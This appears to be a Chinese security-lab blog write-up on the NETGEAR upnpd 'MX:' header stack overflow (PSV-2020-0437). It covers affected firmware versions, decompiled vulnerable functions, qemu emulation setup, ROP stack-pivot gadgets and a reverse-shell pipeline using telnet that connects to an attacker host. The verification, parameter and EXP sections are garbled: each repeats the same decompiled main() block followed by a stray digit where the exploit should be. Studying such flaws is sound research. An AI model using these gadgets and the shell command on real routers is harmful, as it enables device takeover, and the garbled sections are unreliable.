官方通告的影响版本 https://kb.netgear.com/000064493/Security-Advisory-for-Post-Authentication-Buffer-Overflow-on-Some-Routers-Extenders-and-WiFi-Systems-PSV-2020-0437
/*
NETGEAR 已针对以下产品型号上的身份验证后缓冲区溢出安全漏洞发布了修复程序:
D6220,运行 1.0.0.68 之前的固件版本
D6400,运行 1.0.0.102 之前的固件版本
D7000v2,运行 1.0.0.66 之前的固件版本
D8500,运行 1.0.3.58 之前的固件版本
DC112A,运行 1.0.0.54 之前的固件版本
EX7000,运行 1.0.1.94 之前的固件版本
EX7500,运行 1.0.0.72 之前的固件版本
R6250,运行 1.0.4.48 之前的固件版本
R6300v2,运行1.0.4.52之前的固件版本
R6400,运行 1.0.1.70 之前的固件版本
R6400v2,运行1.0.4.102之前的固件版本
R6700v3,运行1.0.4.102之前的固件版本
R7000,运行 1.0.11.116 之前的固件版本
R7100LG,运行 1.0.0.64 之前的固件版本
R7850,运行 1.0.5.68 之前的固件版本
R7900,运行 1.0.4.30 之前的固件版本
R7960P,运行 1.4.1.68 之前的固件版本
R8000,运行 1.0.4.52 之前的固件版本
RAX200,运行 1.0.2.88 之前的固件版本
RBS40V,运行 2.6.2.4 之前的固件版本
RS400,运行 1.5.1.80 之前的固件版本
XR300,运行 1.0.3.56 之前的固件版本
R7000P,运行 1.3.2.124 之前的固件版本
R8000P,运行 1.4.1.68 之前的固件版本
R8500,运行 1.0.2.144 之前的固件版本
RAX80,运行 1.0.3.102 之前的固件版本
R6900P,运行 1.3.2.124 之前的固件版本
R7900P,运行 1.4.1.68 之前的固件版本
R8300,运行 1.0.2.144 之前的固件版本
RAX75,运行 1.0.3.102 之前的固件版本
RBR750,运行 3.2.17.12 之前的固件版本
RBR850,运行 3.2.17.12 之前的固件版本
RBS750,运行 3.2.17.12 之前的固件版本
RBS850,运行 3.2.17.12 之前的固件版本
RBK752,运行 3.2.17.12 之前的固件版本
RBK852,运行 3.2.17.12 之前的固件版本
*/
这个麻烦点的就是环境上面,不像TP_LINK SR20 那个, 基本就能直接运行, 这个坑略多, 先分析这次的目标程序 upnpd
漏洞分析
老洞新尝
初始化工作
int __cdecl main(int argc, const char **argv, const char **envp)
{
/*······*/
v7 = fopen("/var/run/upnpd.pid", "wb+"); // 这里要在路径处操作一个文件
if ( v7 )
{
v8 = getpid();
fprintf(v7, "%d", v8);
fclose(v7);
/*下面这个 nvram相关的, 是一个动态库的, 下载的固件里面是没有的,但是github上有公开的实现以及直接编译好的库*/
if ( *(_BYTE *)acosNvramConfig_get("upnpd_debug_level") )
{
v15 = (const char *)acosNvramConfig_get("upnpd_debug_level");
dword_8F848 = atoi(v15);
}
if ( off_65A50[0] )
{
/*······*/
}
else
{
LABEL_13:
v14 = acosNvramConfig_set("upnp_portmap_entry", "0");
target_function3(v14); <-----
return 0;
}
}
/*······*/
}
开启端口服务这些, 然后接收输入
int target_function3()
{
/*······*/
char data[4]; // [sp+44h] [bp-20ECh] BYRE
while ( 1 )
{
while ( 1 )
{
do
{
while ( 1 )
{
sub_BBF4(2, "%s: %d()n", "upnp_main", 750);
if ( !acosNvramConfig_match("lan_ipaddr", "0.0.0.0") )
break;
sleep(1u);
}
udpsocket = sub_1A510(1900); // udp 端口1900
}
while ( udpsocket < 0 );
sub_BBF4(2, "%s: %d()n", "create_submit_scoket", 201);
v0 = socket(2, 2, 0);
v1 = v0;
if ( v0 == -1 )
{
sub_BBF4(2, "http_mu : Can't UDP create socket..n");
exit(1);
}
*(_WORD *)v54[0].sa_data = 0;
v54[0].sa_family = 2;
*(_DWORD *)&v54[0].sa_data[2] = 0;
*(_DWORD *)&v54[0].sa_data[6] = 0;
*(_DWORD *)&v54[0].sa_data[10] = 0;
if ( bind(v0, v54, 16u) == -1 )
{
sub_BBF4(2, "Can't bind UPNP send socket..n");
exit(1);
}
dword_C01C4 = v1;
if ( v1 >= 0 )
break;
close(udpsocket);
sub_BBF4(2, "ssdp send socket created failed!!n");
}
dword_C01CC = sub_1A510(5000); // tcp端口5000
if ( dword_C01CC >= 0 )
break;
close(udpsocket);
close(dword_C01C4);
sub_BBF4(2, "http socket created failed!!n");
}
/*上面开了两个端口, udp的那个1900用于远程接收数据*/
/*······*/
while ( 1 )
{
/*······*///这里下面这个data,每次接收到数据后,到下次在接收前,没有清空之类的操作, 导致可以空间复用
if ( (((unsigned int)readfds.__fds_bits[(unsigned int)udpsocket >> 5] >> (udpsocket & 0x1F)) & 1) != 0 )
{
data[0] = 0;
length = recvfrom(udpsocket, data, 0x1FFFu, 0, &v55, v58);
v26 = *(_DWORD *)&v55.sa_data[2];
readfds.__fds_bits[(unsigned int)udpsocket >> 5] &= ~(1 << (udpsocket & 0x1F));
if ( v26 )
{
if ( length )
{
inet_ntoa_b();
data[length] = 0;
//目标函数是要满足一定条件才能进入
if ( acosNvramConfig_match("upnp_turn_on", "1") && strlen(data) <= 0x100 )
tager_function2(data, (int)v54, (unsigned __int16)(*(_WORD *)v55.sa_data << 8) | HIBYTE(*(_WORD *)v55.sa_data));
}
else
{
sub_BBF4(2, "%s(%d):EOF...n", "upnp_main", 870);
}
}
/*······*/
}
功能匹配
这个是检查输入的格式这些,功能匹配, 要将这些通过才能到达目标点
int __fastcall tager_function2(const char *data, int a2, int a3)
{
/*······*/
memset(v39, 0, sizeof(v39));
v42 = ' ';
sub_BBF4(3, "%s(%d):n", "ssdp_http_method_check", 204);
if ( dword_8F828 == 1 )
return 0;
v41 = v39;
strncpy(v39, data, 0x5DBu);
space = find_space((const char **)&v41, (const char *)&v42);// 找到第一个空格的位置
v8 = space;
if ( !space )
{
LABEL_13:
sub_BBF4(2, "%s(%d):Http message errorn", "ssdp_http_method_check", 232);
return -7;
}
if ( !strstr(space, "M-SEARCH") ) // 包含
{
if ( stristr(v8, "NOTIFY") )
return 0;
goto LABEL_13;
}
v9 = find_space((const char **)&v41, (const char *)&v42);// 找第二个空格
if ( v9 && !strchr(v9, 42) ) // 包含*
{
sub_BBF4((int)"%s(%d):Parsing error missing * rn", "ssdp_http_method_check", 215);
return -7;
}
v10 = find_space((const char **)&v41, (const char *)&v42);// 找第三个空格
if ( v10 && !stristr(v10, "HTTP/1.1") ) // 包含
{
sub_BBF4(2, "%s(%d):Parsing error missing HTTP/1.1n", "ssdp_http_method_check", 220);
return -7;
}
memset(s, 0, 37);
sub_BBF4(3, "%s(%d):n", "ssdp_discovery_msearch", 1008);
if ( stristr(data, "NOTIFY") ) // 不包含
return -7;
v11 = stristr(data, "MAN:"); // 包含
if ( !v11 )
return -7;
if ( !stristr(v11, ""ssdp:discover"") ) // 包含
return -7;
v12 = tager_function((int)data);
/*······*/
}
漏洞点
int __fastcall tager_function(int data)
{
int v6[36]; // [sp+0h] [bp-90h] BYREF
v1 = 0;
memset(v6, 0, 128);
v2 = stristr(data, "MX:"); // 包含
v3 = v2;
if ( v2 )
{
v4 = stristr(v2, "rn"); // 包含
if ( v4 )
{
if ( v4 <= v3 + 3 )
{
sub_BBF4(2, "No MX error1 !!n");
}
else
{
strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));// 复制'MX: '后面的内容到v6, 长度是len('MX:', 'rn'), 这里就是溢出点, 因为这个长度基本可以控制,但是分配的v6的长度是有限的,造成溢出,然后程序没有开启canary与PIE, 基本可以直接ret2system(程序本身有调用system)
v1 = atoi((const char *)v6);
if ( v1 <= 0 || index((const char *)v6, 46) )
{
v1 = 0;
sub_BBF4(2, "MX Empty , not integer or negative!!n");
}
}
}
else
{
sub_BBF4(2, "No MX error2 !!n");
return 0;
}
}
else
{
sub_BBF4(2, "No MX error0 !!n");
return 0;
}
return v1;
}
漏洞的地方虽然有溢出,但是 stristr函数 , 是遇到 x00 就截止的,但是 程序本身的 gadget
的高位都是 x00
, 所以这里最多也就只能写入一个 gadget
, 前面提到 接收的 data
的地方没有清空之类的操作, 导致可以空间复用, 所以这个 gadget
就用于 栈迁移
, 将其迁移到 data
的地方, 然后就是 ROP
链子, 具体的话, 调试看下
环境搭建
前面操作了一个文件, 这里得创建, 其本身是没有的
#fopen("/var/run/upnpd.pid", "wb+"); // 这里要在路径处操作一个文件
root@debian-armhf:~# ls -l
total 53208
drwxr-xr-x 2 user user 4096 Sep 22 2020 bin
lrwxrwxrwx 1 user user 15 Sep 22 2020 data -> /tmp/media/nand
drwxrwxr-x 2 user user 4096 Sep 18 2020 dev
drwxr-xr-x 10 user user 4096 Sep 22 2020 etc
drwxr-xr-x 5 user user 12288 Sep 22 2020 lib
lrwxrwxrwx 1 user user 9 Sep 22 2020 media -> tmp/media
drwxrwxr-x 2 user user 4096 Sep 18 2020 mnt
drwxrwxr-x 10 user user 4096 Sep 22 2020 opt
drwxrwxr-x 2 user user 4096 Sep 18 2020 proc
-rw-r--r-- 1 root root 54400094 Feb 20 02:22 R6400.tar.bz2
drwxr-xr-x 2 user user 4096 Sep 22 2020 sbin
drwxr-xr-x 4 user user 4096 Sep 22 2020 share
drwxrwxr-x 2 user user 4096 Sep 18 2020 sys
drwxr-xr-x 3 user user 4096 Sep 18 2020 tmp
drwxrwxr-x 11 user user 4096 Sep 22 2020 usr
lrwxrwxrwx 1 user user 7 Sep 22 2020 var -> tmp/var
drwxr-xr-x 8 user user 24576 Sep 22 2020 www
root@debian-armhf:~# mkdir -p ./tmp/var/run
然后就是一堆坑了
root@debian-armhf:~# chroot ./ sh
BusyBox v1.7.2 (2020-09-18 17:38:05 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# upnpd
# /dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
这里最后发现是要有一个 nvram.ini
的文件在 tmp
目录下,然后将前面的 nvram
的动态库添加到环境里面, 然后就。。。
nvram.ini
upnpd_debug_level=9
lan_ipaddr=192.168.77.130 #这个地址是自身得IP地址
hwver=R6400
friendly_name=R6400
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
这里的解决得把 lib/libc.so.0
复制一份命名为 libc.so.6
然后放到 lib目录
下, 然后就能运行了
调试
上面全部都模拟了,下面就单模拟这个程序(因为在 qemu 里面没安装上 gdb), 将上面的步骤在固件解出来的文件里面再重复一遍,然后就可以启动调试了
cd ./squashfs-root
sudo qemu-arm -E LD_PRELOAD="./nvram.so" -g 1236 -L ./ ./usr/sbin/upnpd
栈迁移
在 target_function3 函数里面定义了 data, 然后调用 target_function2 -> target_function
里面SP的变化是
#.text:00023FB4 63 DE 4D E2 SUB SP, SP, #0x630
#.text:00023FB8 04 D0 4D E2 SUB SP, SP, #4
---
#.text:00022D24 00 40 A0 E3 MOV R4, #0
#.text:00022D28 80 D0 4D E2 SUB SP, SP, #0x80
#.text:00022D2C 00 50 A0 E1 MOV R5, R0
大概就是 最后漏洞点的 SP 距离 data 所处的位置,大概是 (0x634 + 0x80)左右的样子,比较符合的gadget大概就是 0x00011b90
0x00014608: add sp, sp, #0x7c00; pop {r4, r5, r6, r7, pc};
0x00022dbc: add sp, sp, #0x80; pop {r4, r5, r6, pc};
0x0002a9dc: add sp, sp, #0x80; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00019f3c: add sp, sp, #0x800; add sp, sp, #0x40000; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x00011b90: add sp, sp, #0x800; pop {r4, r5, r6, pc};
0x00013d8c: add sp, sp, #0x800; pop {r4, r5, r6, r7, pc};
0x0001931c: add sp, sp, #0x800; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
因为这里加了 0x800, 所以迁移后的地方是
pwndbg> distance 0x407fe744 0x407fe0a8
0x407fe744->0x407fe0a8 is -0x69c bytes (-0x1a7 words)
pwndbg> distance 0x69c 0x800
0x69c->0x800 is 0x164 bytes (0x59 words)
大概就是 recv 的 data 从 0x164 开始写的东西, 最后是在 漏洞点的 SP + 0x800的地方
验证一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
/*······*/
v7 = fopen("/var/run/upnpd.pid", "wb+"); // 这里要在路径处操作一个文件
if ( v7 )
{
v8 = getpid();
fprintf(v7, "%d", v8);
fclose(v7);
/*下面这个 nvram相关的, 是一个动态库的, 下载的固件里面是没有的,但是github上有公开的实现以及直接编译好的库*/
if ( *(_BYTE *)acosNvramConfig_get("upnpd_debug_level") )
{
v15 = (const char *)acosNvramConfig_get("upnpd_debug_level");
dword_8F848 = atoi(v15);
}
if ( off_65A50[0] )
{
/*······*/
}
else
{
LABEL_13:
v14 = acosNvramConfig_set("upnp_portmap_entry", "0");
target_function3(v14); <-----
return 0;
}
}
/*······*/
}
0
这里的 0x45454545
就是返回地址,
参数设置
int __cdecl main(int argc, const char **argv, const char **envp)
{
/*······*/
v7 = fopen("/var/run/upnpd.pid", "wb+"); // 这里要在路径处操作一个文件
if ( v7 )
{
v8 = getpid();
fprintf(v7, "%d", v8);
fclose(v7);
/*下面这个 nvram相关的, 是一个动态库的, 下载的固件里面是没有的,但是github上有公开的实现以及直接编译好的库*/
if ( *(_BYTE *)acosNvramConfig_get("upnpd_debug_level") )
{
v15 = (const char *)acosNvramConfig_get("upnpd_debug_level");
dword_8F848 = atoi(v15);
}
if ( off_65A50[0] )
{
/*······*/
}
else
{
LABEL_13:
v14 = acosNvramConfig_set("upnp_portmap_entry", "0");
target_function3(v14); <-----
return 0;
}
}
/*······*/
}
1
测试
准备
从固件的文件系统里可以发现 /bin
下面是没有 mkfifo
这个程序的, 所以目前的话,我是不知道怎么反弹shell 的, 不过他有 telnet
服务, 然后构建的话是这样 telnet 192.168.179.132 1234 | /bin/sh | telnet 192.168.179.132 1235
, 地址是攻击机的地址, 端口是攻击机方打开的端口,第一个用于输入, 第二个用于输出
检测目标端口
开启监听
END
成功反弹shell
EXP
int __cdecl main(int argc, const char **argv, const char **envp)
{
/*······*/
v7 = fopen("/var/run/upnpd.pid", "wb+"); // 这里要在路径处操作一个文件
if ( v7 )
{
v8 = getpid();
fprintf(v7, "%d", v8);
fclose(v7);
/*下面这个 nvram相关的, 是一个动态库的, 下载的固件里面是没有的,但是github上有公开的实现以及直接编译好的库*/
if ( *(_BYTE *)acosNvramConfig_get("upnpd_debug_level") )
{
v15 = (const char *)acosNvramConfig_get("upnpd_debug_level");
dword_8F848 = atoi(v15);
}
if ( off_65A50[0] )
{
/*······*/
}
else
{
LABEL_13:
v14 = acosNvramConfig_set("upnp_portmap_entry", "0");
target_function3(v14); <-----
return 0;
}
}
/*······*/
}
2
结束语
漏洞本身不复杂, 比较麻烦的是环境(不过搭好了感觉好像又不麻烦), 只能说见少了,而且这个还有github上面已经实现的 nvram
,就是不知道如果没有这个 公开
的动态库, 该怎么去实现, 目前这些都是反弹shell, 还不知道怎么种后门重新打包固件这些,而且最新的应该固件解包都是一个问题, 还太早了, 目前连将固件里面的web服务启动登录进去都全是问题, 看了一点 tenda 的最近的固件, 完全就不知所措, h3c 的 固件加密了......
E·N·D
本文由创信华通创安实验室编辑。
本文仅限于个人学习和技术研究,由于传播、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者本人负责,本单位不为此承担任何责任。创安攻防实验室拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
如有侵权,请联系后台。
●
创安实验室
创信华通创安实验室成立于2021年9月,是成都创信华通信息技术有限公司旗下的技术研究团队,主要研究红蓝对抗、重大安全保障、应急响应等方向。
实验室秉承公司的发展理念,致力于打造国内一流的网络安全团队,成立至今,已多次完成了公安举办的重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...